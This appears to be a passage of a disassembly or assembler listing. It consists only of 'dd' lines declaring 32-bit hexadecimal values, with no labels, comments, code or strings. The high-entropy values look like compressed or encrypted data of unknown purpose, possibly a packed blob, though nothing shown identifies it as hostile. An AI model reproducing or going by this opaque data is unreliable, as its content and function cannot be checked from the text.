		dd 7CF696C5h, 1C34094Bh, 2B9E4449h, 7601028h, 8B01E984h
		dd 0D8F8D58Fh, 78006C04h, 8EF5D80Ch, 49CF0A2h, 97F64F55h
		dd 2228A76Fh, 41390066h, 0F02825E8h, 0A5001211h, 83C4F7E1h
		dd 1244F340h, 0DC9AA4C1h, 0EB167878h, 7420AD15h, 0E37E07h
		dd 0E5B1479Eh, 0F11DC1DCh, 68803609h, 0F1001213h, 3B470094h
		dd 6E551999h, 0E4ACAD1Fh, 78F0812Dh, 72E1CF8h, 0C9E6C62Ch
		dd 83115481h, 6881A8A0h, 0C86C7132h, 82506074h,	967213D0h
		dd 3BD8D0C6h, 0B54819E1h, 21E48068h, 0DAAC71h, 1A74C554h
		dd 44277076h, 30224D00h, 6BEA20A3h, 0FA7E3BDDh,	2EE4C84Ah
		dd 0B972E200h, 317A8077h, 3ADCAC75h, 2D250C74h,	44916024h
		dd 50C9F08Bh, 1380BC6Ch, 0EA2983E4h, 21A5520Bh,	0B3025F10h
		dd 64617BFDh, 7FF4CC3Dh, 0DDDDC13h, 0AF248Ch, 14055057h
		dd 6CCD995Fh, 0B28F8304h, 0D4B0646Dh, 87F60125h, 97E855F2h
		dd 1CF07077h, 0D082AB8Bh, 0FF0C0Fh, 0DE3640EAh,	583091ECh
		dd 0C5A87E50h, 0E3786F40h, 5B3D1088h, 30216513h, 0ACE8148Bh
		dd 35AF0045h, 0AAB0FE8Fh, 0FA0E8EBAh, 2211DC5Ch, 40AC26D7h
		dd 0A6134B38h, 8EB630E4h, 0D2953CC9h, 0CADDA700h, 0CC9E232Ah
		dd 29433F42h, 93B28406h, 7C403821h, 800090C5h, 110A34E8h
		dd 81B52Bh, 0C6FEDD7Dh,	244A119Ch, 12384B12h, 681430CBh
		dd 80AA3317h, 21016C46h, 0F21E3422h, 76D4395Fh,	24167D69h
		dd 12B61FD1h, 0FE6C043Ch, 0E2A0B0A0h, 0B461EC26h, 8C88BC4h
		dd 53760064h, 0D08FE7C4h, 9716F148h, 30218B31h,	0D2101E1Ah
		dd 952FD707h, 0ABB838FFh, 76CE07FAh, 5396ED65h,	0A78FB4C1h
		dd 91CF072Ah, 14AA7B31h, 9A23C00h, 4106B01h, 0F0290AE1h
		dd 0E074A5B4h, 5F032303h, 0D5C47666h, 27759831h, 5CDEC97h
		dd 24898AB0h, 0CB1800B5h, 48C712C5h, 33A71F00h,	0F87D4A3Bh
		dd 0EEC43B7Ch, 53D10380h, 4F68D66Ch, 0EADDEB02h, 58A1C22Dh
		dd 0EC8B2708h, 806CA0A8h, 6F731B57h, 0C31C1C34h, 43041786h
		dd 4EC07AB1h, 0FE199884h, 1D94A9B2h, 0F4CBCC6Ch, 6E146844h
		dd 8BACDh, 72D5D719h, 0F486986Ah, 75A02489h, 1AA113BCh
		dd 0FC592842h, 201E598Fh, 0AF263009h, 3C8F4C73h, 0FAD72000h
		dd 0D04F697Bh, 8A0BDD0Ch, 7D21613Ch, 95E616A0h,	37E41E62h
		dd 706AB099h, 0CDEB1117h, 8AC9C719h, 4377109Ah,	1E87104h
		dd 0F94E76Ch, 28147109h, 0C0F48E50h, 1A8F23D3h,	1E132881h
		dd 0E39D0091h, 0C8E24BE5h, 8858B3ADh, 0C2E71750h, 8C305024h
		dd 7F618D3h, 0F144658Ah, 1970F19Fh, 1DB6D4F9h, 29BFF503h
		dd 80F2C211h, 0FD5966h,	0C02C5886h, 0D9BB1927h,	22281358h
		dd 0B207017Eh, 0CD9D85F6h, 0A46ACCF1h, 0A918D401h, 0D7EA56F2h
		dd 209ACCh, 9EB04FF0h, 29EB976Ah, 0ED208660h, 2FBD6CC0h
		dd 0E020653Dh, 17E35FE0h, 0C9BFB800h, 85547DC6h, 8FEC007Bh
		dd 0F18A2FE5h, 78002942h, 6EF204BDh, 0C0C020A4h, 36377060h
		dd 8B7DF791h, 7FC15B00h, 0FD58C85Ah, 51520084h,	0E59147BAh
		dd 441C13D7h, 79706574h, 1F6215h, 0FE36B88h, 0C5027D8Ch
		dd 82B24000h, 7DB84A8h,	78DD3849h, 3FFD4500h, 10AF57B4h
		dd 0B0980F00h, 80E1134Fh, 0C8650F2h, 6C032E1Ch,	401F64D0h
		dd 4D1EDD3Dh, 0F8881DA7h, 176A80DCh, 53A05193h,	16BB1102h
		dd 0A0590F68h, 0E1C0A450h, 89A900BAh, 0A0D9B1C5h, 6C00FCB3h
		dd 0CD1E5AEh, 37B2986h,	0B898A802h, 9058114Fh, 0A01D9380h
		dd 7A8C1121h, 8DC63700h, 8121EDF8h, 0D2720136h,	0A8C005ACh
		dd 4DD4206Eh, 568290F4h, 301740E4h, 63007E99h, 0BA54026h
		dd 0B73E0Fh, 0BD842C42h, 0A2994358h, 153A9090h,	0FDF96001h
		dd 278E85A0h, 1C910CBFh, 3006EF1h, 0B46E9C9Ah, 76C03DCCh
		dd 15C32EF5h, 308B896Ch, 6D88A420h, 95489405h, 3C64C8ACh
		dd 3972246h, 1149C3D4h,	0C5B5F491h, 80B0A2D8h, 49A13FCDh
		dd 32590191h, 0E7AE7A7Fh, 0A4BAFA97h, 880004E6h, 85704E38h
		dd 987F1196h, 77812F64h, 0E89962F8h, 0CB2090A7h, 6EDB00A5h
		dd 3CED1B51h, 1261C235h
		dd 0B4600558h, 90681464h, 0ED6F4488h, 715A4F09h, 0E880446Dh
		dd 0F7981Bh, 0C3F42A28h, 0A2C6E3E6h, 12DC0304h,	58B91CFAh
		dd 87C6596h, 3D822204h,	58856F2Ch, 9FE57098h, 0A49D2802h
		dd 99840429h, 0EF85743h, 0F4202F90h, 8BE1624h, 8372E760h
		dd 0CBD55894h, 66A99F00h, 0F2957BE2h, 36913301h, 0CC3DE742h
		dd 4801C4E0h, 601856F3h, 409EF807h, 0A0F1706Fh,	8CCA4582h
		dd 41C12D3h, 248E26Dh, 9F4E41D7h, 8A94873Eh, 0B4407B40h
		dd 0AFFF1566h, 8207A094h, 0D5473A43h, 8238F73Eh, 0DB1293B5h
		dd 8A1714h, 0B385B9A4h,	0EA0ACFB6h, 503F9E73h, 217BF500h
		dd 31B45803h, 0C5800569h, 3470F629h, 72F1B200h,	3020E3Ah
		dd 804A0198h, 0B42F7F6Bh, 0A50DD901h, 44F46019h, 4348006Fh
		dd 64EA8AFDh, 0F82E23DDh, 96923492h, 6BE8E401h,	6822E78Bh
		dd 0B338834Bh, 0B24C0A4h, 0B090FE7Ah, 0A0091901h, 859B9F1Ch
		dd 3C2E048h, 0ACCE8B2Dh, 0BC0FBB7h, 18A9F51Bh, 2C202B7Eh
		dd 478E20h, 3BB00F7Fh, 60F5E32Dh, 0FA071A02h, 60C65043h
		dd 8B201C24h, 0C084D5D7h, 3E1344D4h, 1479520Fh,	8C7E089Fh
		dd 45E81ACEh, 3E765312h, 0ADA84C08h, 39FC0010h,	0DBFF2200h
		dd 0EDBB6267h, 61CC1393h, 2DB600C9h, 1B2C4FECh,	22029CB0h
		dd 0B2FDBE19h, 0DE132094h, 9C16F080h, 0DC30D701h, 0CAD1CEh
		dd 8B101ED3h, 0C77772DAh, 768A9203h, 0F857F309h, 3D93DF8h
		dd 4D1F5AF6h, 0ADCBC0BCh, 958FB0BFh, 3F00619Eh,	0F29389EFh
		dd 98DBCA55h, 0D8F64CB6h, 9D358C04h, 1CE08C40h,	0C8F8064Ch
		dd 1120C21Fh, 0E3D85060h, 1DF1CF00h, 66D486E1h,	0D0106069h
		dd 359563D7h, 2F50B95Ch, 0FE20208Ah, 0A36AD1h, 0D36CF739h
		dd 0A2D4204Fh, 0BE76300h, 0DE08F1E1h, 8A1B2593h, 8FBB6890h
		dd 797BCC16h, 3D00CCE2h, 6664A4E7h, 0C10EEE0Ch,	0E4F3DCDDh
		dd 0B8C12D7Dh, 0DC79356Dh, 9781730Fh, 12ACECAAh, 0ACB011FCh
		dd 0F2A49F12h, 5844028Ch, 64BDCEC9h, 0B8F3E838h, 34184CF4h
		dd 2462E7DEh, 8017D885h, 0CAF982D4h, 0EC42EE1Ch, 0E81C7F00h
		dd 270B7211h, 54104F8Eh, 7701141Fh, 0B5AB1BD9h,	0A830B2CAh
		dd 51430474h, 0F26B011Ch, 298B095Ch, 4A48013Fh,	2095DA13h
		dd 957E84EBh, 0EA3D7CA0h, 0F001167Eh, 0BAFE2DE8h, 9CCC2181h
		dd 0AE05006Fh, 4F809EE2h, 64006EB7h, 0A2F9E83Ah, 0B0B7822h
		dd 0A4E07ED6h, 0EF870C01h, 65FC4203h, 13A26C41h, 40F2AD9Fh
		dd 0D9FF7080h, 0F92637D2h, 678A5C12h, 286AACFDh, 80FB5E08h
		dd 7E9CB470h, 0E3011013h, 3E83ED51h, 1840BACDh,	4D07D791h
		dd 69C4A068h, 0B6E88814h, 51070499h, 0A2205764h, 2D142F2h
		dd 0C01924DEh, 2882B4FDh, 74C4B811h, 0E0B07091h, 0F6EF7BC9h
		dd 15389E0Fh, 99C0709Bh, 4C30E6DEh, 76A870Ah, 8C0118DFh
		dd 0A41F1106h, 45144064h, 59D002AFh, 0A47EE092h, 0DEE2B740h
		dd 96F001A1h, 2DE4AA3Ah, 5B7EE005h, 0D89A8101h,	42EBF352h
		dd 59D11AFCh, 0C58243Eh, 0D11A3CB2h, 0F91E0B28h, 0D60108Fh
		dd 0DE8B3335h, 0A2E25D00h, 576704CBh, 4E1302BFh, 0FD7C0894h
		dd 6BB45C48h, 1C2D34B2h, 228C2E09h, 68E19AF8h, 504F98D8h
		dd 91E404Bh, 0D1F01D5Ah, 0F2795381h, 388FCD78h,	52A8324h
		dd 2BC89014h, 76690095h, 129DBB92h, 0ED588504h,	5984CFBh
		dd 2154F4D5h, 69688Ch, 1C529CFBh, 0B1B34DFAh, 4401C34Ah
		dd 6F5C96E0h, 0DD209033h, 0F17B00F1h, 0D1FF4A1Bh, 809A8B34h
		dd 3C1A6B29h, 0B5CBB75h, 48836EB5h, 777CB4E4h, 0D86CCE38h
		dd 4F881D45h, 88639509h, 9E0978A4h, 0F1441043h,	6870C4CCh
		dd 9180BC1Eh, 56522A4h,	0F9EF43D2h, 4B80E8FCh, 4CCE0070h
		dd 0AF590037h, 62094075h, 6F003F17h, 9A5C7E08h,	418F01E4h
		dd 13C80CA4h, 0A1748A04h, 88912391h, 1C037BF9h,	7C846282h
		dd 0D0FE40A1h, 28E273Ah, 1557E260h, 5AE030F6h, 500AD34h
		dd 6E199ACDh, 98821DDCh, 0D21E446Ch, 88A57B19h,	0B0743FEAh
		dd 5980E98Ah, 0E4FFB6A1h, 0C8005A84h, 40EAF82Fh, 679B18h
		dd 8AF07094h, 5F4F5D1Ch, 3E44309Dh, 0C5B612FFh,	0F4A0002Dh
		dd 9206FE1Bh, 0EB0084B9h, 3891E650h, 0F19E1507h, 0D84240E3h
		dd 1CC17F2Dh, 9F811773h, 11AD92A1h, 0C53C3890h,	0AD0BEB00h
		dd 0E09D8835h, 0ECFAE3h, 0F08F91ABh, 0E1A21D24h, 34C25B4Bh
		dd 0D7512071h, 191C3FE3h, 0A496637Bh, 6D5088h, 0CC0E492Ah
		dd 22FFA0BAh, 45E7690Bh, 0F8F44AD5h, 0A2DE0034h, 8C8A1D12h
		dd 30A4920Eh, 1C181748h, 0D12452A6h, 0C090F114h, 0E5F3972h
		dd 4A820030h, 80A56A7Fh, 9116E411h, 0D8B0A3F9h,	58D45C1Bh
		dd 21D1E11h, 0CAD8739Eh, 0F1FCE19Fh, 14E458DEh,	0CCB184ABh
		dd 2EBBCC00h, 0C16D4215h, 7ED4DF16h, 1B78AC62h,	78071CC1h
		dd 0ADC5B0C0h, 88A6B3h,	9E1CEB3Fh, 2B5A08A3h, 0B937106h
		dd 942061FBh, 50102758h, 602CE91h, 0ACC5E973h, 79ABh, 1578E729h
		dd 0DE007077h, 1FFFA973h, 3A53118Fh, 0D196575Fh, 0B1C434B6h
		dd 54C060D8h, 85DACF00h, 4A3744E8h, 0C47800DDh,	0B46FFDA4h
		dd 477AB60Ch, 0E0406560h, 3E447073h, 0A8FDA11h,	9F2F16B3h
		dd 2AC8BA02h, 0A6FDF240h, 8765670Fh, 0C4E28035h, 12E75CBDh
		dd 8ED8BA5h, 0C4AD613Ch, 0C690B0h, 9FFC072h, 0CA0B8C1Ah
		dd 0B5197907h, 97A05AB2h, 1E8B3DC6h, 9FADC998h,	5C206FF0h
		dd 5F2502B4h, 0A084C800h, 10FEEF72h, 0ED5D00CDh, 68C63E6Ah
		dd 0CCA15E15h, 87FDDC8Fh, 0B0868098h, 3C881B48h, 6134401h
		dd 8152A426h, 0E2170862h, 0A488989Fh, 9215173Bh, 4C48793h
		dd 308125CBh, 0A0911356h, 3D750084h, 14F29A4h, 0FD433DE2h
		dd 532ED881h, 2F34F145h, 7007F845h, 1414D89Ch, 4C051CE3h
		dd 3E881A02h, 24E1B387h, 886408C3h, 89003DF3h, 80C6CA75h
		dd 128177Fh, 93CB9AA8h,	44B0A230h, 1ED8B084h, 2043897h
		dd 0AEF300DAh, 1C851437h, 59C95EFFh, 0C19C498Ch, 7BD3F0h
		dd 552AC983h, 78F4A295h, 0FD64D800h, 3971F11Bh,	0DE901BEh
		dd 9879737Ch, 929439A8h, 2E660C8h, 0AA49741Ah, 53202479h
		dd 7712A13h, 0F1916144h, 0E022BF3Ch, 81E08085h,	7C0F8166h
		dd 20CF169Bh, 0A4735D60h, 61200D0h, 0A946BA72h,	0A30987C7h
		dd 8051EB0Fh, 0A2010C1Bh, 1B1D0B6Ah, 9811A031h,	3C05106Dh
		dd 10DF00D6h, 6C37A3D7h, 8B27E048h, 9F6C49EFh, 0F43882D5h
		dd 3D4E229Dh, 8612CC98h, 973FC22h, 96C645EBh, 0CC011824h
		dd 4200F0BCh, 97C1AD37h, 5DE11347h, 0CC030486h,	34E7827Dh
		dd 0B3528A8h, 6F80DB00h, 77B353D4h, 88FD0020h, 7EA64708h
		dd 0DA000619h, 0D693F01Ah, 2F5F4E11h, 0D01012CDh, 0C602FA3Ah
		dd 885A9D33h, 5F1740FDh, 0E8F10008h, 6ABBCD22h,	0A0C87E8Ah
		dd 0DA699C88h, 0E8594125h, 8200D024h, 0FBA2FCA9h, 94C8006Eh
		dd 96B13DFEh, 0AA1706EAh, 0C4C8C735h, 44AC079Ch, 5E29643Fh
		dd 6D39FD40h, 974859EAh, 74311064h, 0A122E448h,	1385A0A1h
		dd 0DD32B809h, 9365000Ah, 0F1781E59h, 720143C8h, 26EF2A3Bh
		dd 0D0301B8Fh, 0E1210019h, 0D4239939h, 7876C6F2h, 6CB410E0h
		dd 8A4DB440h, 98710981h, 2D008FC4h, 51A2AF94h, 18088225h
		dd 3E311A4h, 59694477h,	0BBC2A97Dh, 0AAD50884h,	947B3831h
		dd 4E003D4h, 1C1F56B6h,	1928CC0Ah, 5E759217h, 87F3A4C0h
		dd 0EC8B2D5Ch, 250014C5h, 8155D241h, 0C126076Ah, 70C5A704h
		dd 3D8ADD66h
		dd 1358FA5Ch, 20E2959Fh, 0A190EF21h, 8E136582h,	0CC048C2h
		dd 0B601F1F0h, 0BDD649Eh, 48783D9Ch, 0C0181C89h, 0BE049AEBh
		dd 0B5BA05C6h, 32008CA2h, 0C598FD31h, 0AD0020D6h, 8B4F517h
		dd 9A302AAh, 4496D901h,	5C41309Ah, 0FE8B1264h, 0B8B78028h
		dd 24CE496Ah, 4BC61A01h, 9F8ABCA1h, 0D927BF10h,	0D8BDEB00h
		dd 4CF3AF7Fh, 0DC290014h, 58B3445Bh, 21017420h,	893474Fh
		dd 0C6801ED2h, 0FDA9EDB9h, 0BE143CA7h, 48681068h, 722264h
		dd 2192F078h, 3D3E57EEh, 81A0B439h, 0DF1B32Eh, 406A8B44h
		dd 0F1CDD2Ch, 3B0ED9B4h, 80E6B9ABh, 0F8A68D4Bh,	0D1D71004h
		dd 0A49F0831h, 0F58B8B83h, 650A4499h, 0F41884B4h, 0B4101E70h
		dd 4D67EFC0h, 3E007A27h, 370B11B6h, 18884BBDh, 3158EE8Bh
		dd 0D0F93CF0h, 0C100E7DEh, 0DD3E6FECh, 0E2934922h, 9EBC0368h
		dd 0B9E4926Dh, 0E06980C9h, 0DF00285Dh, 59F2CE58h, 0ED3C93Bh
		dd 8AFD56A1h, 2325425Eh, 10711B19h, 0C98C1440h,	706495DDh
		dd 0F4249800h, 0CE72D122h, 0BB100BDh, 0D7112726h, 6CFC3A69h
		dd 0FADFD3Bh, 8052853Fh, 8FFCDDFh, 0DAE4F954h, 50E34CD0h
		dd 72D6F20Eh, 25DC6AA0h, 4D098C9Fh, 5195F11Ah, 14680540h
		dd 0C48F217h, 11A39F1Ch, 0ECDD041Dh, 0A99E222Dh, 73F2009Ch
		dd 86F30869h, 0B2670B1Ch, 0EC823EB3h, 792B1911h, 0B56C0094h
		dd 85D1E631h, 0E43E9804h, 0D0D1D99Ch, 703C01A4h, 8100D5D7h
		dd 155F020Ch, 658010E8h, 339B23CAh, 0FE571900h,	0D0A1BDECh
		dd 0B6F00041h, 572F166h, 0DAECE6B2h, 968A22h, 65AFE0CAh
		dd 13DC390Ch, 4E83E0B9h, 0F357ACFDh, 0A8F09801h, 3EF53C2Ah
		dd 4BA60E01h, 6025DDC1h, 4A004284h, 2F7CFA9Ch, 7D421B4h
		dd 0AAE3BD1Bh, 74594B67h, 0D80A5400h, 99CB3B9h,	4C11A2BBh
		dd 0EC9440F8h, 0F62E804Eh, 0EE41FEDh, 0C1D03DE8h, 1C929461h
		dd 88043806h, 0C3C08097h, 2417695Dh, 15137D78h,	60E0A6BEh
		dd 80430C71h, 0B608420Eh, 0BC8279Fh, 4EF753F0h,	98EB028Fh
		dd 7A62DDD9h, 1D9C8C40h, 2316078Eh, 0D0AD060Fh,	0DCE4BD4Ch
		dd 1EDF6200h, 904A2644h, 0B5504ABh, 87755EDEh, 8F948038h
		dd 0A3047D52h, 6CFE1BEAh, 8C858CBCh, 88648747h,	30053E82h
		dd 772A60B4h, 43D5CF1h,	0C3AA9AC0h, 82003647h, 0B435AECh
		dd 40886591h, 11117B92h, 52480B9h, 0E4C502A0h, 2446E162h
		dd 9666422h, 38353218h,	990AC380h, 2B5C564Bh, 244388Eh
		dd 0ECB0B46h, 40D145h, 0B50C5512h, 82000211h, 0CF3AF528h
		dd 1CC6365Bh, 25E5DF07h, 1B00F06Ch, 0C93F0EC2h,	6050EC46h
		dd 0CADB46D1h, 8612A509h, 0AC087E08h, 0C08B4079h, 0ACB89889h
		dd 68A0E575h, 0B9588DFDh, 910E0F79h, 8B50AB7h, 1809ED13h
		dd 9D38D172h, 6CF14673h, 0E6F94134h, 847CB8E2h,	94044240h
		dd 7428019Ch, 4B82C060h, 0AD54CC2Ah, 90090827h,	947515FCh
		dd 611C2CD0h, 0E8E78DF5h, 0D01F9CFEh, 80BCD14Ch, 1171F92Dh
		dd 1A9DE2h, 8C051F73h, 303321EDh, 605DF024h, 5CDE9600h
		dd 74956Fh, 12D08788h, 62F2BFD3h, 0A94A949Eh, 7A85109h
		dd 9AA3431Bh, 8C099012h, 1799C9DEh, 5F402CD1h, 39C2F0B1h
		dd 2300D0CDh, 9689937Bh, 7EF7E709h, 0C54D5C60h,	64CB00B5h
		dd 5A5D3EA9h, 804AA04Ah, 191E4400h, 0B9AEFDC2h,	88E29638h
		dd 618248B4h, 0C214AE2Ch, 512994FCh, 0D580F00h,	0AA9CE840h
		dd 0AD12A48Eh, 0CA00A25Ch, 5B922326h, 0F8C24DA3h, 96056F09h
		dd 5349C08h, 0B094B5FFh, 3C4EEC5Ch, 0CB4C88h, 0C927E237h
		dd 0C633FDF2h, 5C9DF602h, 463EE1B4h, 0AB6A079Ch, 0D72B9213h
		dd 0A4330ADh, 0EA0BCE77h, 0E43E9E72h, 607A4090h, 941C7086h
		dd 321A44A0h, 33ED11FDh, 0CCD200FCh, 0EAE0F81Eh, 6A9028F6h
		dd 564F00A0h, 0D211313Ch, 0CD24BBFFh, 84A40C55h, 65988039h
		dd 6B67F2DCh, 0C837251Ah, 0D1002851h, 98D63FFBh, 5BCA0F01h
		dd 0DF43630Fh, 0A688370Ah, 85587546h, 15EC05BCh, 4090AE9Ah
		dd 0B0CCB535h, 1B1102BBh, 70A2DDE0h, 0F6146890h, 0DE3E8605h
		dd 648D999Fh, 40A29C20h, 32E1C96h, 5E695073h, 6BF3600Ch
		dd 0E4046E17h, 81AD3EB2h, 421820AAh, 1E00B932h,	800D7D6Dh
		dd 7848E478h, 0ECD20318h, 0AFFE0194h, 24DC6BA0h, 0E465E125h
		dd 3D111FB0h, 4A0F3AC9h, 4B00C338h, 5112C2D5h, 8A7EBD17h
		dd 0D960D827h, 3999C465h, 5D847F22h, 0CC75275Ch, 0AD0CC6FCh
		dd 8E3C183h, 889B5C9Fh,	8943EBC8h, 4B25987Ah, 0D4A91448h
		dd 3C7ECCF1h, 0FC00D591h, 68DD80BDh, 0E1C22C1Ah, 0C45AFE1Ch
		dd 0C5A44440h, 0B2965800h, 769C3256h, 0BC807D4h, 906FFCCAh
		dd 0D2B7AEE7h, 880844Ah, 21C41920h, 0A43DB0FDh,	3864B0E4h
		dd 10E8A812h, 1E04A55Eh, 374EEF8Bh, 60658CA8h, 1E3A3191h
		dd 420079F5h, 0FD367844h, 3BE7982h, 0B41C9D55h,	3CD11B2Ch
		dd 0D8273E1Dh, 7B42E504h, 98E29ACBh, 169010F4h,	0E6B73D80h
		dd 30941C55h, 81F4A108h, 302DE778h, 7396F5B2h, 57CF0A6Ch
		dd 5000B570h, 694FCCABh, 0EC909718h, 5E01ECE2h,	0F1850743h
		dd 0F9FE7034h, 0E06C1324h, 8049F2B4h, 20F24A6Ch, 0A5461000h
		dd 9160C661h, 5CEECD00h, 93A7C45Bh, 27D600F4h, 12DCEA7Bh
		dd 3B611BE8h, 52A6B560h, 1C248C04h, 1E83D81Ch, 7DA9B942h
		dd 0C5AC8B39h, 0A3A10014h, 0EAE58C67h, 0D709451Eh, 717E1304h
		dd 0A18008BCh, 0A5286559h, 0D3256302h, 46935642h, 23951E8Ch
		dd 0D4C3003Eh, 0E0E1F69Dh, 8CA4ACE2h, 9C91E44h,	0F6D1B6FFh
		dd 1447B07Eh, 0C41790C8h, 784072FDh, 8B01088Ch,	5844B64Ah
		dd 88537B06h, 0FDB898C4h, 0E4D5CC03h, 0B86A8F28h, 5583DACh
		dd 69341E9Eh, 214E210h,	0DE153CDDh, 5E107A8Ch, 66C07058h
		dd 7A12CBB8h, 0E9F004DFh, 806425FDh, 87F6F0A0h,	1B31A4C3h
		dd 92FE51D7h, 44842608h, 31E169Dh, 0B100914Dh, 66F0CC84h
		dd 6FC4026Bh, 0A7EF39A0h, 0A158275Dh, 4749228h,	1E8BFE94h
		dd 7AB54520h, 0C7A0C001h, 0F03D6456h, 9E3B9100h, 0B7100AF9h
		dd 0C21B852Dh, 0DC93626Ch, 0D91A00C4h, 0CB1F8ADDh, 885000B8h
		dd 0A74253B0h, 117A9F17h, 6C03D80Ch, 91717DF4h,	0CE03D827h
		dd 0E91E0098h, 97C081E3h, 66973549h, 0E27A1764h, 8044A326h
		dd 0C6D006DCh, 8CA227CBh, 0EE7A445Ah, 3E9A8988h, 66A49001h
		dd 31190810h, 9288FE47h, 0F988F48Bh, 2DA27A03h,	0D8A4225Ch
		dd 0C2BBB694h, 0ED8BCCC8h, 14B46864h, 0FDF35167h, 72B7E80Bh
		dd 0F2E20183h, 12B44E61h, 0F53888C1h, 1C10A5A6h, 3B002461h
		dd 844D288h, 1E56B75h, 0D6FB55A3h, 41DDF4F8h, 0FA18F99Ch
		dd 0A3267444h, 0A24144A0h, 7842A178h, 0A09F22E2h, 0D1A54454h
		dd 5EA700E8h, 3D176D9Bh, 365FDD00h, 0ED253E2Ah,	208E4515h
		dd 0E896320h, 8F2EEA8Fh, 59150ED6h, 5EC40A20h, 79272602h
		dd 2EA09035h, 0D534005Dh, 248FFEB9h, 88B4756Ch,	81BC2E2Dh
		dd 0E23CE9A8h, 0B70B8438h, 645A94EEh, 2DD6A222h, 0DC11EA8Bh
		dd 10F20D97h, 0B926A21Bh, 6427C072h, 11180030h,	0F9DE8A15h
		dd 2B013829h, 0ABCC6C12h, 0F0236671h, 864D2A00h, 136DBAB0h
		dd 0A1930C00h, 7ACDB724h, 25881087h, 531D9D4Ah,	0DA969F89h
		dd 0B9DC0328h, 8690D19h, 444094E3h, 9C427CC4h, 8C5CD422h
		dd 0C0932D4Bh, 0F19F13A0h, 13EF6852h, 0C3D8E842h, 986496FBh
		dd 51DFC3h, 9938731Ah, 88E312F4h, 9804ACA6h, 68DCC8EBh
		dd 63B4CD8h, 0AF4F8737h
		dd 8421A012h, 2FC53F9Bh, 582A1020h, 10B30018h, 0E308F26Eh
		dd 965C09EAh, 0B8772803h, 4E518520h, 268820DCh,	800087D4h
		dd 0C08B9B76h, 0F2FF3E63h, 70009D94h, 18A0218Fh, 69167930h
		dd 0E44D4752h, 0C4C1097Eh, 40457D2h, 0F3CB379Ch, 162D8704h
		dd 0EBE09FC4h, 9DBB0197h, 1155A8A2h, 61C8F024h,	217303F6h
		dd 8B2791FAh, 0F31F44F8h, 59B6D100h, 8749EE09h,	86FD1DF2h
		dd 3461808Dh, 665ED211h, 3CFEA718h, 719EB8h, 70C19AC6h
		dd 786A7F4Bh, 2D153D12h, 5C2070A1h, 10F1844Ch, 25C3FCCh
		dd 6F5DABEh, 4CC8A9EFh,	5B03A489h, 0ADECC135h, 8B08097Ch
		dd 0B87997F2h, 43687546h, 90997A31h, 0F2A4640h,	22570D8Ah
		dd 32409BEDh, 8C20C3C4h, 30D69806h, 0EF07096Fh,	38D4FEC5h
		dd 1D527244h, 0C8BC2284h, 0E6A2E140h, 0FBB400F4h, 0E330AD13h
		dd 787E6B3Eh, 2180899Dh, 874B7B84h, 3F11DCF0h, 0F381024Eh
		dd 0E2B07D7Fh, 0A8F02404h, 0DCC04486h, 9E017EEAh, 18A67463h
		dd 302012E9h, 68554495h, 3904495h, 3FA03C9Eh, 47E084FDh
		dd 48FCDDE7h, 5C1CA4B8h, 75C3DECBh, 0C8BCED87h,	0B12478h
		dd 0A0F1C5BAh, 0E1A36A6Eh, 0E42DCC90h, 64B866D4h, 32ACA0C5h
		dd 1B1110DFh, 0C018DB4Ch, 231A3055h, 0DACF140Bh, 101FDF22h
		dd 88AF46B0h, 0D920C1EFh, 0EC8B1761h, 7E3CC898h, 17B4C18Ah
		dd 488CFFF8h, 0FC4C0C8Fh, 9D088A0Bh, 0A3D59098h, 77AEA600h
		dd 4922EE7Bh, 0F10D2D68h, 2C00C864h, 6A9881C0h,	0BAEBE9h
		dd 0AE8C87DBh, 0A96C1702h, 0D85DC63Dh, 48542FC4h, 8A111564h
		dd 0DE108975h, 90525A84h, 16E2A344h, 0C4260CB9h, 4B888C58h
		dd 3B80495h, 9D09C826h,	0DE01B654h, 110792D4h, 63224094h
		dd 848C648h, 17753145h,	0DB38303Ch, 0CF1279ADh,	0DCA8EA81h
		dd 9613A382h, 0BABC280h, 430FD4B9h, 8E4297F1h, 0A3C2EE17h
		dd 0E77A0E87h, 0C07949h, 9947C3F3h, 20046F5h, 1F32B01Eh
		dd 179BAC31h, 16AF6AB7h, 0B85714B4h, 5BB0A29Ch,	3FDC9552h
		dd 0A14902CCh, 5C9B3879h, 0C1C91AE0h, 423E745Eh, 0C1574F1Dh
		dd 0A1BEB08h, 0F4198575h, 0B022565Ch, 0CEC50196h, 38402EBDh
		dd 13D6F4B9h, 74305E2h,	0F4B5E99Eh, 7F008E78h, 0A651DB92h
		dd 91004h, 0C757F4BBh, 0DD0E5D93h, 667F4DEEh, 1490ECB9h
		dd 0B8016E8Fh, 3CDD656Ah, 0F422806Ch, 3D7971AFh, 0F8855707h
		dd 83874F2Eh, 21C42C14h, 49811CF0h, 0C54C6E9Dh,	86BAC8FAh
		dd 5039663Eh, 9F2E01C4h, 0D1A7F8B5h, 4F42B86Ch,	9002A082h
		dd 0E21EBCF4h, 843A5C03h, 0C0E20CC5h, 1296FCFDh, 760B6800h
		dd 6A2F35E4h, 0D37F0084h, 504B24DDh, 0D0074A4h,	0FD366F9Eh
		dd 79F2961Bh, 67C1077Bh, 215B1DF7h, 400A1C85h, 8A137F40h
		dd 0A012A95Bh, 9AD21CF0h, 0E8C650BCh, 0C109F931h, 0E053C691h
		dd 3AF08500h, 93698E6h,	0CFF42A6h, 32242084h, 0E0C05EC6h
		dd 0C98B840Ah, 43D37901h, 92B9EE98h, 77A7D2FCh,	1C364C0Eh
		dd 11513D11h, 0B8409BE6h, 0AB113E6Ch, 0EC04484Dh, 904E21DDh
		dd 72F68F18h, 10C81A4Ah, 0AA620094h, 0E94258C1h, 6A011353h
		dd 0D368D6E8h, 0CC3ECBBFh, 0C345EE2Ch, 0F488447Dh, 0A25A364h
		dd 0BE90E9D8h, 10E49A27h, 7C004EF4h, 0DDEBFFF7h, 0E117562h
		dd 0EC5605E3h, 0EE80451Fh, 0A5A092C4h, 323A1A19h, 8B22935Ch
		dd 0AC1475E7h, 0C1CB1F00h, 0C23B331h, 2EFEFEDBh, 8AC4E9Eh
		dd 3C28B6EBh, 0B111942h, 0EF693B72h, 666D8B51h,	0A0574E74h
		dd 0C28AA97Ch, 49455F0h, 1A0A6600h, 4F198EE5h, 306402E1h
		dd 94403AAAh, 0CCCB061h, 0DC7B44FBh, 0E8D5B801h, 8C9F1083h
		dd 942413E5h, 0E0A34173h, 2C0784F6h, 0C3E6116Bh, 4A10D2F2h
		dd 76F01A70h, 0E4930130h, 38EC4F68h, 0A4A67E0Ch, 907B5744h
		dd 45E12524h, 7201307Bh, 1915DFCAh, 4CCDE3E4h, 0DCC238BAh
		dd 0C417AD5h, 84BC0C18h, 8849621h, 0F08992E7h, 0B908023Dh
